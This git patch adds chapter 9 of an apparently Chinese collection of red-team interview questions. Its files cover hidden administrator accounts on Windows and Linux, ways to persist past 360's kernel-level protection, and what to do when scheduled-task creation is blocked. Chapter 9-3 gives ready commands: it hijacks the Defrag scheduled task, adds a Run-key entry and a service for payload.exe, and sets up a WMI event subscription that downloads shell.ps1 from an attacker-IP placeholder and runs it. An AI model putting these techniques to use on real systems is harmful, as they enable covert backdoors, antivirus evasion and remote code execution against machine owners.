From ce227844b460a0cdbf228a3cc01e854aabe93cb7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=9B=BE=E5=B3=B6=E9=A3=8E=E8=B5=B7=E6=99=82?= Date: Thu, 25 Sep 2025 03:42:12 +0800 Subject: [PATCH] Add files via upload --- Chapter9/9-1.md | 86 ++++++++++++++++++++++++++++++++++++++++++++++ Chapter9/9-2.md | 32 +++++++++++++++++ Chapter9/9-3.md | 86 ++++++++++++++++++++++++++++++++++++++++++++++ Chapter9/README.md | 19 ++++++++++ 4 files changed, 223 insertions(+) create mode 100644 Chapter9/9-1.md create mode 100644 Chapter9/9-2.md create mode 100644 Chapter9/9-3.md diff --git a/Chapter9/9-1.md b/Chapter9/9-1.md new file mode 100644 index 0000000..f6ecc83 --- /dev/null +++ b/Chapter9/9-1.md @@ -0,0 +1,86 @@ +### 怎么建立隐藏用户 + +### **1. Windows 系统** + +在 Windows 中,隐藏用户通常有两种实现方式 + +**1.1 使用 `$` 符号创建隐藏账户** + +这是最简单也是最常见的方法,主要用于在命令行中隐藏用户 + +- **原理**: Windows 系统的设计中,以 `$` 结尾的账户名被视为“计算机账户”,通常用于系统或服务之间通信。这些账户默认在 `net user` 命令的列表中不显示 + +- **操作步骤**: + + 1. 使用管理员权限打开命令提示符(`cmd`)或 PowerShell + + 2. 执行以下命令创建账户: + + ```cmd + net user username$ password /add + ``` + + 3. 将该账户添加到管理员组,赋予其更高权限: + + ```cmd + net localgroup Administrators username$ /add + ``` + +- **如何查看**: 虽然 `net user` 看不到,但这个账户仍然存在于系统中。你可以通过以下方式查看: + + - `wmic useraccount where "name like '%'" get name,sid` + - 通过注册表编辑器查看 `HKEY_LOCAL_MACHINE\SAM\SAM`(需要特殊权限) + +**1.2 通过修改注册表隐藏账户** + +这是一个更高级、更隐蔽的方法,可以让账户不出现在登录界面和常规用户列表中 + +- **原理**: Windows 通过注册表的一个特定键值来控制哪些用户账户在登录界面显示。通过修改这个键值,可以隐藏任何账户 + +- **操作步骤**: + + 1. 首先创建一个普通用户账户并赋予权限: + + ``` + net user testuser password /add + net localgroup Administrators testuser /add + ``` + + 2. 打开注册表编辑器(`regedit`),定位到以下路径: + + ``` + HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList + ``` + + 3. 在 `UserList` 键下,右键单击并选择**新建 -> DWORD (32位) 值** + + 4. 将新建的值命名为你要隐藏的账户名,例如 `testuser` + + 5. 默认情况下,这个 DWORD 值为 `0`,这正好可以隐藏该账户 + +- **如何查看**: 这个账户在登录界面和常规用户列表中都看不见。只有通过命令行、`wmic` 或直接在注册表中查看才能发现其存在 + +**2. Linux 系统** + +在 Linux 中,隐藏用户的方式主要依赖于其账户管理机制 + +**2.1 创建一个 UID 小于 1000 的账户** + +- **原理**: 许多 Linux 系统管理工具(如 `useradd` 的默认行为、`passwd` 文件浏览器)都约定俗成地只显示 UID 大于或等于 1000 的账户,将 UID 小于 1000 的账户视为系统服务账户 + +- **操作步骤**: + + 1. 使用 `useradd` 命令创建账户时,指定一个低于 1000 的 UID: + + ```bash + useradd -u 999 -s /bin/bash -m testuser + passwd testuser + ``` + + 2. 赋予其管理员权限: + + ```bash + usermod -aG sudo testuser + ``` + +- **如何查看**: 这个账户可以通过 `cat /etc/passwd` 看到,但许多工具不会在用户列表中显示它 \ No newline at end of file diff --git a/Chapter9/9-2.md b/Chapter9/9-2.md new file mode 100644 index 0000000..0fb9ad4 --- /dev/null +++ b/Chapter9/9-2.md @@ -0,0 +1,32 @@ +### 360 开启了晶核模式,怎么去尝试权限维持 + +**1. 放弃传统方法,转向无文件和内存驻留** + +在晶核模式下,任何涉及到文件落地、注册表写入、服务创建的传统权限维持方法都极有可能被拦截。因此,我们的核心思想是:**不落地、不留痕、内存驻留** + +- **无文件攻击**:避免将任何可执行文件(`.exe`、`.dll`)写入磁盘。所有的恶意代码都应该通过 PowerShell、C# 或其他脚本语言在内存中运行 +- **内存驻留**:将恶意代码注入到合法的、白名单内的进程中,如 `svchost.exe`、`explorer.exe` 等。这样,恶意代码就可以利用合法进程的信任度来绕过安全软件的监控 +- **使用 PowerShell 或 C#**:利用 PowerShell 的反射式加载(Reflective Loading)技术,可以直接在内存中执行 .NET 程序集。360 晶核模式对 PowerShell 脚本的监控非常严格,因此需要使用混淆、加密等技术来绕过其行为分析 + +**2. 利用系统自带的合法进程和功能** + +晶核模式的核心是识别恶意行为,而不是简单地拦截所有操作。因此,我们可以利用那些系统自带的、360 无法或不敢拦截的合法进程来执行我们的恶意代码 + +- **利用 `COM` 或 `WMI`**:Windows Management Instrumentation (WMI) 和 Component Object Model (COM) 是系统核心组件,它们允许本地和远程执行代码。许多安全软件无法直接拦截这些操作,因为这可能会导致系统功能异常 + - 你可以通过 `WMI` 在目标机器上**远程执行代码**,而无需将可执行文件写入磁盘。这种方法非常隐蔽,因为 `WMI` 流量是合法的 + - 通过 `COM` 组件,你可以利用那些具有特权的 COM 对象,执行一些平时受限的操作 +- **利用计划任务(Scheduled Tasks)**:虽然创建新的计划任务可能会被晶核模式拦截,但你可以尝试修改已有的、合法的计划任务 + - **命令**:`schtasks` + - **思路**:找到一个不显眼的、定期执行的系统任务,然后修改它的执行命令,让它执行你的无文件后门例如,你可以让它定时执行一个 PowerShell 脚本,该脚本从网络上下载并执行恶意代码 +- **利用 `runas` 或其他 Windows API**:如果可以拿到高权限,可以尝试利用 `runas` 或类似的 API 来启动一个拥有更高权限的新进程,然后将恶意代码注入到新进程中 + +**3. 持久化技巧** + +在权限维持方面,可以考虑以下几种高级技巧: + +- **DLL 劫持**:找到一个启动时会加载 DLL 的合法程序,并将一个恶意的 DLL 文件放置在它会寻找的路径中。当程序启动时,它会加载你的恶意 DLL,从而执行你的代码 + - **晶核模式的挑战**:晶核模式通常会阻止未签名的 DLL 加载到敏感进程中,因此你需要找到一个没有签名检查的合法程序,或者你的 DLL 需要经过特殊处理 +- **COM 劫持**:攻击者可以修改 Windows 注册表中的 COM 组件路径,将合法的 COM 组件替换为恶意的。当应用程序调用这个组件时,就会执行恶意代码 + - **晶核模式的挑战**:晶核模式会对注册表中的关键键值进行监控,因此这种方法需要非常小心,或者找到一个未被监控的注册表键 +- **利用驱动程序**:这是最高级的权限维持方法,但难度也最大。你可以尝试加载一个恶意的内核驱动程序。内核驱动拥有最高的权限,可以绕过几乎所有的用户态安全防护 + - **晶核模式的挑战**:360 晶核模式的核心就是内核级防护,它会严格检查所有加载的驱动程序。如果你没有一个经过微软签名的驱动程序,很难成功 \ No newline at end of file diff --git a/Chapter9/9-3.md b/Chapter9/9-3.md new file mode 100644 index 0000000..1723de7 --- /dev/null +++ b/Chapter9/9-3.md @@ -0,0 +1,86 @@ +### 计划任务被拦截了怎么办 + +**1. 放弃创建,寻找修改或利用已有的计划任务** + +安全软件通常只监控**创建新任务**的行为,但可能不会对**修改已有任务**的行为进行强拦截,尤其是那些系统或合法程序创建的计划任务 + +- **攻击原理**:找到一个不显眼的、定期执行的、且权限足够高的系统任务,然后修改它的执行命令,让它在执行原有任务的同时,也执行你的恶意代码 + +- **操作步骤**: + + 1. **信息收集**:首先,使用 `schtasks /query /fo list /v` 命令来列出所有已有的计划任务。你需要关注以下几点: + + - **任务名称**:寻找那些看起来合法、不引人注意的任务,例如与系统更新、日志清理相关的任务 + - **执行账户**:寻找那些以 `SYSTEM` 或 `Administrator` 权限运行的任务 + - **触发器**:了解任务的触发频率(例如每天、每周) + + 2. **修改任务**:使用 `schtasks /change` 命令来修改任务的执行命令 + + ```powershell + # 示例:修改一个名为“Microsoft\Windows\Defrag\ScheduledDefrag”的合法任务 + schtasks /change /tn "Microsoft\Windows\Defrag\ScheduledDefrag" /tr "powershell.exe -c \"iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1\"" + ``` + + - **优点**:这种方法利用了合法任务的“信任”,行为更加隐蔽,不容易被安全软件识别为恶意创建行为 + +**2. 利用启动项或服务进行权限维持** + +如果计划任务的路走不通,启动项和服务是另一个值得尝试的切入点 + +- **利用注册表启动项**:许多应用程序都通过注册表键值来实现开机自启动。安全软件可能会监控这些键值的创建,但你可以尝试修改一些不那么敏感的键值 + + - **常见路径**: + + - `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` + - `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run` + + - **操作步骤**: + + ```powershell + # 在注册表Run键中添加一个启动项 + reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyUpdater" /t REG_SZ /d "C:\Users\Public\payload.exe" /f + ``` + + - **缺点**:这种方法非常常见,很容易被安全软件拦截。你需要使用更隐蔽的键值或利用无文件方式 + +- **利用服务**:Windows 服务可以以高权限运行,并且可以配置为开机自启动 + + - **操作步骤**: + + ```powershell + # 创建一个新的服务 + sc create MyService binPath= "C:\Users\Public\payload.exe" start= auto + # 启动服务 + sc start MyService + ``` + + - **缺点**:创建新服务同样是一个非常敏感的操作,几乎所有的安全软件都会进行拦截 + +**3. 使用无文件和内存驻留技术** + +这是在高级防护环境下最有效的权限维持方法,因为它完全绕过了文件系统和注册表的监控 + +- **DLL 劫持**:找到一个经常被合法程序调用的、但路径可写的 DLL 文件,将你的恶意代码注入到这个 DLL 中 + + - **操作步骤**: + 1. 找到一个合法程序(例如 `c:\Program Files\Google\Chrome\Application\chrome.exe`)启动时会去加载的 DLL + 2. 将你自己的恶意 DLL 文件命名为相同的名字,并放置在程序会优先寻找的路径中。 + 3. 当用户启动这个程序时,你的恶意 DLL 就会被加载并执行,从而实现权限维持 + - **优点**:这种方法非常隐蔽,因为执行的是合法程序,绕过了许多行为监控 + +- **WMI/COM 持久化**:利用 Windows Management Instrumentation (WMI) 或 Component Object Model (COM) 实现持久化 + + - **原理**:你可以创建一个 WMI 事件订阅,当某个特定事件发生时(例如系统启动),自动触发执行你的恶意代码 + + - **操作步骤**: + + ```powershell + # 创建一个WMI事件过滤器,当系统启动时触发 + $filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'"} -ErrorAction Stop + # 创建一个WMI事件消费者,执行你的恶意代码 + $consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{Name="myconsumer"; CommandLineTemplate="powershell.exe -c 'iwr http://<攻击机IP>/shell.ps1|iex'"} -ErrorAction Stop + # 将过滤器和消费者绑定 + $binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{Filter=$filter; Consumer=$consumer} -ErrorAction Stop + ``` + + - **优点**:这是最高级的无文件持久化技术,非常难以被检测 \ No newline at end of file diff --git a/Chapter9/README.md b/Chapter9/README.md index 8b13789..9eecb4f 100644 --- a/Chapter9/README.md +++ b/Chapter9/README.md @@ -1 +1,20 @@ +# 网安面试题(涵盖护网、红队、逆向、二进制) +上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!! + +HR:请问………… + +我:叽里咕噜说啥呢,看看八股文上写了没 + +(Summary.md 是目录噢!!) + +**🙏 特别感谢名单** + +在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后) + +- **@用户名1** —— 提供了大量安全面试题方向的补充 +- **@用户名2** —— 纠正了多个问题的答案与表述 +- **@用户名3** —— 贡献了真实面试题经验分享 +- **@用户名4** —— 对内容结构与目录提出改进建议 + +如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字